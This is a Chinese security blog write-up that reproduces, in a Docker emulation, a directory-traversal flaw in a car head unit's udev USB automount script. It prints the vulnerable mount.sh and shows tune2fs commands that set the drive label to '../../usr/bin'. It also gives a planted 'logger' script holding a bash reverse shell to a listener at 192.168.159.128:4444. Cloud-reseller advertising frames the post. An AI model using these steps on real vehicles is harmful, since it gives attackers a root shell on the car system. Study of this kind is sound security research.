U盘目录穿越获取车机SHELL - 分析与复现

阿里云国内75折 回扣 微信号:monov8
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6

github上破解日系车机的文章 - https://github.com/ea/bosch_headunit_root

其中有利用 U 盘获取车机 shell 的操作

主要根据下面这篇文章进行环境搭建和复现

U盘目录穿越获取车机 SHELL(含模拟环境) - https://delikely.github.io/2021/06/04/U%E7%9B%98%E7%9B%AE%E5%BD%95%E7%A9%BF%E8%B6%8A%E8%8E%B7%E5%8F%96%E8%BD%A6%E6%9C%BASHELL/

环境准备

掏出我的U盘,不过好像ubuntu不支持

第一个是插入U盘前 第二个是插入U盘后

一般来说 /dev/sda 是指第一个磁盘设备,/dev/sdb 是指第二个磁盘设备,U盘插进去一般就是sdb了,因为虚拟机本身还有一个磁盘

我用blkid命令都不显示 额....

怀疑是不是因为U盘不是ETX4结构的

掏出我的傲梅分区助手,格式化分区

选择EXT4

等待执行完成即可

插入ubuntu虚拟机 可以看到这里已经是ext4类型了

接下来是固件环境的搭建,这里直接使用原博主已经弄好的Dockerfile,在虚拟机里面搭建一个模拟环境(可能这个时候你想说,那我们U盘插进去的时候,是插的虚拟机还是docker容器,答案是使用 --privileged 参数,以特权模式运行容器,即容器内的进程将具有与主机相同的权限。这可以让容器内的进程执行敏感操作,如挂载文件系统等)

我这里没有直接用wget,下载了对应文件传到虚拟机上

接着创建镜像

~/bosch headunit root$ sudo docker build -t delikely/bosch_headunit_root:automount .
[+] Building 29.8s (9/9) FINISHED
=> [internal] load build definition from Dockerfile 0.0s
=> => transferring dockerfile: 320B 0.0s
=> [internal] load .dockerignore 0.0s
=> => transferring context: 2B 0.0s
=> [internal] load metadata for docker.io/library/ubuntu:12.04 18.0s
=> [1/4] FROM docker.io/library/ubuntu:12.04@sha256:18305429afa14ea462f810146ba44d4363ae76e4c8dfc38288cf73aa07485005 10.5s
=> => resolve docker.io/library/ubuntu:12.04@sha256:18305429afa14ea462f810146ba44d4363ae76e4c8dfc38288cf73aa07485005 0.0s
=> => sha256:18305429afa14ea462f810146ba44d4363ae76e4c8dfc38288cf73aa07485005 1.36kB / 1.36kB 0.0s
=> => sha256:5b117edd0b767986092e9f721ba2364951b0a271f53f1f41aff9dd1861c2d4fe 3.62kB / 3.62kB 0.0s
=> => sha256:d8868e50ac4c7104d2200d42f432b661b2da8c1e417ccfae217e6a1e04bb9295 39.10MB / 39.10MB 6.5s
=> => sha256:83251ac64627fc331584f6c498b3aba5badc01574e2c70b2499af3af16630eed 57.94kB / 57.94kB 0.9s
=> => sha256:589bba2f1b36ae56f0152c246e2541c5aa604b058febfcf2be32e9a304fec610 423B / 423B 0.8s
=> => sha256:d62ecaceda3964b735cdd2af613d6bb136a52c1da0838b2ff4b4dab4212bcb1c 680B / 680B 1.3s
=> => sha256:6d93b41cfc6bf0d2522b7cf61588de4cd045065b36c52bd3aec2ba0622b2b22b 162B / 162B 1.4s
=> => extracting sha256:d8868e50ac4c7104d2200d42f432b661b2da8c1e417ccfae217e6a1e04bb9295 3.9s
=> => extracting sha256:83251ac64627fc331584f6c498b3aba5badc01574e2c70b2499af3af16630eed 0.0s
=> => extracting sha256:589bba2f1b36ae56f0152c246e2541c5aa604b058febfcf2be32e9a304fec610 0.0s
=> => extracting sha256:d62ecaceda3964b735cdd2af613d6bb136a52c1da0838b2ff4b4dab4212bcb1c 0.0s
=> => extracting sha256:6d93b41cfc6bf0d2522b7cf61588de4cd045065b36c52bd3aec2ba0622b2b22b 0.0s
=> [internal] load build context 0.0s
=> => transferring context: 33B 0.0s
=> [2/4] WORKDIR /etc/ 0.6s
=> [3/4] COPY ./udev.tar.gz /etc/ 0.0s
=> [4/4] RUN tar xzvf udev.tar.gz -C ./udev/ 0.5s
=> exporting to image 0.1s
=> => exporting layers 0.1s
=> => writing image sha256:b7f09bab4df68c56fbfcb47df03b921998fe677b5b1158b01d5d29a8625c962f 0.0s
=> => naming to docker.io/delikely/bosch_headunit_root:automount 0.0s

额这么慢?

不好意思打开方式错了,先改docker镜像源

sudo vi /etc/docker/daemon.json

添加

{
"registry-mirrors": ["https://y0qd3iq.mirror.aliyuncs.com"]
}

重启docker

service docker restart

可以看一下更新成功没有

sudo docker info|grep Mirrors -A 1

现在再搭建docker,世界终于美好了

接下来运行这个镜像 原文中的命令有点问题 这里使用

~/bosch headunit root$ sudo docker run -itd --privileged=true delikely/bosch_headunit_root:automount
05993c72efb7425b800924ac22d4d521b4a003261180a35cff301ad6f9b30db7

OK到这里环境终于OK了

漏洞代码分析

因为我们的docker前面启动设置的原因 所以现在如果插入U盘 会直接挂载到docker容器中 如下

可以看到是在容器中

另外车机的操作系统为 Linux

U 盘等外设热插拔由 udev 实现。udev 是 Linux 系统中的一个设备管理守护进程,全称为 "Userspace Device Manager"(用户空间设备管理器)。它负责监听和管理计算机系统中的硬件设备

配置文件在 /etc/udev 下 。udev 会根据设备的 UUID 和 LABEL,构造挂载点。UUID 是块设备的唯一标识符,LAEBL 是块设备的一个标签

车机中自定义了 U 盘挂载脚本,在 udev 配置文件 /etc/udev/rules.d/local.rules 中 ,指定了由脚本 /etc/udev/scripts/mount.sh 处理

接下来看 mount.sh 的内容

#!/bin/bash
#
# Called from udev
# Attempt to mount any added block devices by UUID
# and remove any removed devices
# . /etc/default/rcS if [ -n "$DEVDEBUG" ]
then
export >> /tmp/env.txt
fi MOUNT="/bin/mount"
UMOUNT="/bin/umount"
MOUNTPT="/dev/media"
MOUNTDB="/tmp/.automount" devname=${DEVNAME##*/} check_mount() {
dev=$1
not_found=1 exec 4< /proc/mounts read -u 4 device mount_point skip
while [ $? -eq 0 ]; do
case ${device} in
$dev)
not_found=0
echo ${mount_point}
;;
*)
;;
esac
read -u 4 device mount_point skip
done exec 4<&- return ${not_found}
} automount() {
if [ -z "${ID_FS_TYPE}" ]; then
logger -p user.err "mount.sh/automount" "$DEVNAME has no filesystem, not mounting"
return
fi # Determine the name for the mount point. First check for the
# uuid, then for the label and then for a unique name.
if [ -n "${ID_FS_UUID}" ]; then
mountdir=${ID_FS_UUID}
elif [ -n "${ID_FS_LABEL}" ]; then
mountdir=${ID_FS_LABEL}
else
mountdir="disk"
while [ -d $MOUNTPT/$mountdir ]; do
mountdir="${mountdir}_"
done
fi # Create the mount point.
! test -d "$MOUNTPT/$mountdir" && mkdir -p "$MOUNTPT/$mountdir" # And mount the disk or partition.
if [ -n ${ID_FS_TYPE} ]
then
if [ "vfat" = ${ID_FS_TYPE} ]
then
IOCHARSET=",utf8=1"
elif [ "ntfs" = ${ID_FS_TYPE} ]
then
IOCHARSET=",nls=utf8"
fi
fi result=$($MOUNT -t ${ID_FS_TYPE} -o sync,ro$IOCHARSET $DEVNAME "$MOUNTPT/$mountdir" 2>&1)
status=$?
if [ ${status} -ne 0 ]; then
logger -p user.err "mount.sh/automount" "$MOUNT -t ${ID_FS_TYPE} -o sync,ro $DEVNAME \"$MOUNTPT/$mountdir\" failed: ${result}"
rm_dir "$MOUNTPT/$mountdir"
else
logger "mount.sh/automount" "mount [$MOUNTPT/$mountdir] with type ${ID_FS_TYPE} successful"
mkdir -p ${MOUNTDB}
echo -n "$MOUNTPT/$mountdir" > "${MOUNTDB}/$devname"
fi
} rm_dir() {
# We do not want to rm -r populated directories
if test "`find "$1" | wc -l | tr -d " "`" -lt 2 -a -d "$1"
then
! test -z "$1" && rm -r "$1"
else
logger -p user.err "mount.sh/automount" "not removing non-empty directory [$1]"
fi
} if [ "$ACTION" = "add" ] && [ -n "$DEVNAME" ]; then
check_mount "$DEVNAME" || automount
fi if [ "$ACTION" = "change" ] && [ -n "$DEVNAME" ]; then
# Check if the disk can be opened.
if [ exec <$DEVNAME ]; then
# The disk can be opened, so check for a file system and mount
# it. Otherwise wait for the add events for the partitions.
if [ -n "${ID_FS_TYPE}" ]; then
# There is a file system, so try to mount it.
check_mount "$DEVNAME" || automount
fi
else
# The disk cannot be opened. Unmount all mount points
# referring to this disk including partitions.
for file in $(ls ${MOUNTDB}/$devname* 2>&-)
do
read mountdir < ${file}
devname=${file#${MOUNTDB}/} logger "mount.sh/automount" "unmounting [${mountdir}]"
$UMOUNT -l $mountdir # Remove empty directories from auto-mounter
rm_dir "${mountdir}"
rm "${MOUNTDB}/$devname"
done
fi
fi if [ "$ACTION" = "remove" ] && [ -x "$UMOUNT" ] && [ -n "$DEVNAME" ]; then for mnt in $(check_mount "$DEVNAME")
do
logger "mount.sh/automount" "unmounting [$mnt]"
$UMOUNT -l $mnt # Remove empty directories from auto-mounter
if [ -e "${MOUNTDB}/$devname" ]; then
read mountdir < ${MOUNTDB}/$devname
rm_dir "$mountdir"
rm "${MOUNTDB}/$devname"
rm "${INFODB}/$devname"
fi
done
fi

查看主动挂载函数

automount() {
if [ -z "${ID_FS_TYPE}" ]; then
logger -p user.err "mount.sh/automount" "$DEVNAME has no filesystem, not mounting"
return
fi # Determine the name for the mount point. First check for the
# uuid, then for the label and then for a unique name.
if [ -n "${ID_FS_UUID}" ]; then
mountdir=${ID_FS_UUID}
elif [ -n "${ID_FS_LABEL}" ]; then
mountdir=${ID_FS_LABEL}
else
mountdir="disk"
while [ -d $MOUNTPT/$mountdir ]; do
mountdir="${mountdir}_"
done
fi # Create the mount point.
! test -d "$MOUNTPT/$mountdir" && mkdir -p "$MOUNTPT/$mountdir" # And mount the disk or partition.
if [ -n ${ID_FS_TYPE} ]
then
if [ "vfat" = ${ID_FS_TYPE} ]
then
IOCHARSET=",utf8=1"
elif [ "ntfs" = ${ID_FS_TYPE} ]
then
IOCHARSET=",nls=utf8"
fi
fi result=$($MOUNT -t ${ID_FS_TYPE} -o sync,ro$IOCHARSET $DEVNAME "$MOUNTPT/$mountdir" 2>&1)
status=$?
if [ ${status} -ne 0 ]; then
logger -p user.err "mount.sh/automount" "$MOUNT -t ${ID_FS_TYPE} -o sync,ro $DEVNAME \"$MOUNTPT/$mountdir\" failed: ${result}"
rm_dir "$MOUNTPT/$mountdir"
else
logger "mount.sh/automount" "mount [$MOUNTPT/$mountdir] with type ${ID_FS_TYPE} successful"
mkdir -p ${MOUNTDB}
echo -n "$MOUNTPT/$mountdir" > "${MOUNTDB}/$devname"
fi
}

逐行分析

下面的代码判断U盘的文件系统 ID_FS_TYPE,可识别就继续执行,否则就退出

if [ -z "${ID_FS_TYPE}" ]; then
logger -p user.err "mount.sh/automount" "$DEVNAME has no filesystem, not mounting"
return
fi

然后设置mountdir,如果 ID_FS_UUID 不为空则 mountdir 为 ID_FS_UUID,如果 ID_FS_LABEL 不为空则 mountdir 为 ID_FS_LABEL,否则mountdir为disk

if [ -n "${ID_FS_UUID}" ]; then
mountdir=${ID_FS_UUID}
elif [ -n "${ID_FS_LABEL}" ]; then
mountdir=${ID_FS_LABEL}
else
mountdir="disk"
while [ -d $MOUNTPT/$mountdir ]; do
mountdir="${mountdir}_"
done
fi

拼接一下 /dev/media 就是形成了最终的挂载点。最后使用 mount 命令将 U盘挂载到刚才构造的这个路径上

! test -d "$MOUNTPT/$mountdir" && mkdir -p "$MOUNTPT/$mountdir"

下面这部分因为我们是ETX4所以可以忽略

# And mount the disk or partition.
if [ -n ${ID_FS_TYPE} ]
then
if [ "vfat" = ${ID_FS_TYPE} ]
then
IOCHARSET=",utf8=1"
elif [ "ntfs" = ${ID_FS_TYPE} ]
then
IOCHARSET=",nls=utf8"
fi
fi

然后是真正的挂载操作

result=$($MOUNT -t ${ID_FS_TYPE} -o sync,ro$IOCHARSET $DEVNAME "$MOUNTPT/$mountdir" 2>&1)

$mountdir 这里很关键,刚好是我们能够控制的 而且没有什么过滤操作,存在目录穿越漏洞

咱们接着把挂载脚本看完

status=$?
if [ ${status} -ne 0 ]; then
logger -p user.err "mount.sh/automount" "$MOUNT -t ${ID_FS_TYPE} -o sync,ro $DEVNAME \"$MOUNTPT/$mountdir\" failed: ${result}"
rm_dir "$MOUNTPT/$mountdir"
else
logger "mount.sh/automount" "mount [$MOUNTPT/$mountdir] with type ${ID_FS_TYPE} successful"
mkdir -p ${MOUNTDB}
echo -n "$MOUNTPT/$mountdir" > "${MOUNTDB}/$devname"
fi

我们看挂载成功之后的逻辑 会调用logger命令,我们劫持/usr/bin/之后,可以在U盘里面再写一个logger脚本,导致挂载的时候运行到这里的时候,调用我们的logger脚本,从而实现反弹shell

漏洞利用

因为 $mountdir 没有被过滤,所以可以控制 $mountdir 来实现目录穿越,从而劫持系统中的程序实现任意命令执行

前面 $mountdir 我们可以通过 ID_FS_UUID 和 ID_FS_LABEL 来控制

blkid 命令是一个用于显示块设备(如硬盘、分区等)的文件系统类型和UUID(Universally Unique Identifier)的工具命令。它可以帮助您在 Linux 系统中识别和管理块设备。

/etc# blkid /dev/sdb1
/dev/sdb1: LABEL="EasyU" UUID="7cc162e8-93d7-1f44-bbd6-0d308f113468" TYPE="ext4"

可以看到其中

  • LABEL 为 EasyU
  • UUID 为 7cc162e8-93d7-1f44-bbd6-0d308f113468

我们使用 tune2fs 工具

tune2fs 是一个用于调整和修改 ext2、ext3 和 ext4 文件系统参数的命令行工具。它是 e2fsprogs 软件包(ext2/ext3/ext4 文件系统工具集)中的一部分,常用于 Linux 系统中

使用tune2fs控制UUID

/etc# tune2fs -U "../../usr/bin" /dev/sdb1
tune2fs 1.42 (29-Nov-2011)
tune2fs: Invalid UUID format

不规范的UUID,所以将其置空

/etc# tune2fs -U NULL /dev/sdb1
tune2fs 1.42 (29-Nov-2011)

控制 LABEL

/etc# tune2fs -L "../../usr/bin" /dev/sdb1
tune2fs 1.42 (29-Nov-2011)

看一下成果

/etc# blkid /dev/sdb1
/dev/sdb1: LABEL="../../usr/bin" UUID="7cc162e8-93d7-1f44-bbd6-0d308f113468" TYPE="ext4"

暂停docker,在U盘目录下编写logger脚本来进行反弹shell,这里我除了IP,其余直接复制原博主的了

root@kali:~/automotive# mount /dev/sdb1 /media/root/
root@kali:~/automotive# cd /media/root
root@kali:/media/root# cat logger
#!/bin/bash
/bin/bash -i >& /dev/tcp/192.168.159.128/4444 0>&1
root@kali:/media/root# chmod +x logger
root@kali:/media/root# cd -
root@kali:~/automotive# umount /dev/sdb1

启动docker环境~

最后再插入U盘 ,ubuntu虚拟机拿到反弹shell~ (大功告成

原来的/usr/bin 目录下就被劫持了,只剩下了U盘内容

可以看到反弹shell中我们用 whoami 就找不到命令了

如果想要使用其他的/usr/bin/目录下的命令,就需要把原来/usr/bin 目录的文件(或相同架构的可执行文件)拷贝到 U 盘根目录,这样在劫持了之后才有命令可用

END

建了一个微信的安全交流群,欢迎添加我微信备注进群,一起来聊天吹水哇,以及一个会发布安全相关内容的公众号,欢迎关注

加我拉你入群 黑糖安全公众号
阿里云国内75折 回扣 微信号:monov8
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6
标签: shell